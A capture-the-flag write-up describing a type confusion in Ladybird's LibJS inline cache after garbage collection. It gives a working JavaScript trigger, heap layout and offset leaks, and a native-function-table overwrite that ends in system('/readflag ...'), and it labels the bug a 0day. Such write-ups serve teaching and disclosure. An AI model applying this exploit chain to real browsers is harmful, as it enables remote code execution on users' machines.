1up clank bro

Ladybird LibJS inline-cache type confusion after a GC sweep → unchecked heap OOB R/W → native function table hijack for RCE

2026.09.30 NNS CTF 2026 253 pts Pwn
FLAG NNS{rob07_br0_sP3N7_4ll_h15_toKen5_anD_CPu_CYCl35_and_cam3_BaCK_3mpty_haNd3d_bu7_f4k3_obJ3C75_7UrN3D_the_14dYb1rd_1Nto_th3_14dYBu6_h1d1n6_1n51d3_HEAD_aF73R_all}

Method: the search space should have been ordered by commit, not by file

Ten rounds of auditing LibJS file by file turned up only two latent bugs, neither reachable. The problem was not what was being audited but the order — the local checkout was a depth-2 shallow clone, so there was no way to ask which code was new.

git rev-parse --is-shallow-repository          # true
git fetch --shallow-since='2026-06-15' origin master
git log --format='%ci %h %s' --since='2026-08-13' 3d220afc3 -- Libraries/LibJS Libraries/LibGC
git log --oneline 3d220afc3..origin/master -- Libraries/LibJS   # a fix here means n-day, not 0day

With the history filled in, the search space collapsed from 3,746 lines to 40 commits, and the bug was in one of them.

The bug: the GC sweep clears the pointers but keeps the type

ad8fdda1e (megamorphic cache, seven days before the pin) introduced an asymmetry — Bytecode/Executable.cpp:621:

And all three hit paths branch on whether prototype is null, not on the entry type:

// Bytecode/PropertyAccess.h:176
auto cached_prototype = cache_entry.prototype.ptr();
if (cached_prototype) { /* shape · dict gen · chain validity checks */ }
else if (&shape == cache_entry.shape.ptr()) {              // <- a swept entry lands here
    return base_obj->get_direct(cache_entry.property_offset);   // no bounds check
}
# Interpreter/interpreter.flap:2425 (GetById)
if cached_prototype != 0 {
    guard prototype_chain_validity.valid != 0 else try_cache;   # skipped entirely when prototype == 0
    holder = cached_prototype;
}
let value = holder.named_properties[property_cache.property_offset];   # unchecked OOB read

# :2472 (PutById) - same decision, unchecked OOB write
guard property_cache.prototype == 0 else try_cache;
object.named_properties[property_cache.property_offset] = load(src);

INLINE_NAMED_PROPERTY_CAPACITY is 2 and the offset is the prototype’s property count, so it is effectively unbounded.

Trigger — gc() was not a grooming tool, it was the trigger

Shape keeps no back-pointer to the previous shape, every transition is a GC::Weak, and visit_edges does visitor.ignore(m_child_prototype_shapes). So in o -> p1 -> p2, severing p1’s prototype drops the only strong reference to p2. o’s shape is untouched.

function mk() {                       // p2 becomes unreachable once mk() returns
    const p2 = {};
    for (let i = 0; i < 100; ++i) p2["pad" + i] = i;
    p2.value = 0x41414141;            // offset 100
    const p1 = Object.create(p2);
    return { o: Object.create(p1), p1: p1 };
}
const c = mk();
for (let i = 0; i < 200; ++i) read(c.o);   // warm the site to monomorphic
Object.setPrototypeOf(c.p1, null);
gc();                                      // prototype nulled, type/offset survive
print(read(c.o));                          // must be undefined per spec

Pitfall: build the chain inside an IIFE and const p2 stays a local of a live frame, so it is never collected. It has to be built inside a function that has returned.

Exploit chain

  1. Heap map — spray marked neighbours and sweep the OOB read: a JS::Object cell has a stride of 9 slots (72 B) — +0 vtable, +1 GC header, +3 m_shape, +4 m_named_properties, +7/+8 the inline slots.
  2. Absolute R/W — overwrite a neighbour cell’s m_named_properties (OOB offset 6 + 9k) with an arbitrary address.
  3. Base leaks — the vtable is _ZTVN2JS6ObjectE + 16 = 0x7ee520, so lagom_base = leaked - 0x7ee520. The GOT slot for __errno_location (+0x836878) gives system = leak + 0x31be0; hardcoding is safe because the image is pinned by digest.
  4. &VMVM::VM() starts with m_heap([this]{...}) and AK::Function stores 32 bytes inline, so the VM pointer sits inside the Heap object: cell -> (cell & ~0x3FFF) -> *(u64*)block -> [vptr][captured this]. Verified by *(u64*)&VM == 1 (the refcount).
  5. HijackNativeFunction::create() returns a RawNativeFunction in every case, so every builtin dispatches through VM::m_native_function_table. Full RELRO closes the GOT, but this table lives on the heap. Write the command string at the start of the VM, overwrite the entries with system, then call any builtin: RDI = &VM, so system("/readflag nns 1up-clank-bro") runs. (ThrowCompletionOr<Value> is 16 bytes, so there is no sret and RDI really is the first argument.)

Three things that stalled the exploit

  • typeof dereferences a cell-tagged value. Scanning .text with the arbitrary read segfaulted. Number.isFinite inspects only the tag and never dereferences. The better fix was to drop the scan altogether.
  • The table’s Vector gets reallocated. Lazily created intrinsics register themselves and move the buffer, so the writes were landing in a freed one. Touch every builtin you intend to use up front, and re-read the data pointer immediately before overwriting.
  • The command words exceed 2^53. Round-tripping hi * 2**32 + lo through a JS number rounds the low bits away — the leading '/' became 0x00 and system("") was returning silently. The halves have to be written straight into the Float64Array.

Why this survived

CMakeLists.txt passes --enable-assertions only for Debug/ASAN builds, and the challenge build is RelWithDebInfo. The backend’s finalize_assertion returns immediately when there is no ok_label, so the ~60 assert_* in interpreter.flap emit zero bytes. The only real checks are the guards, and the C++ path where the assertions do survive (VERIFY) is almost never executed.

#0day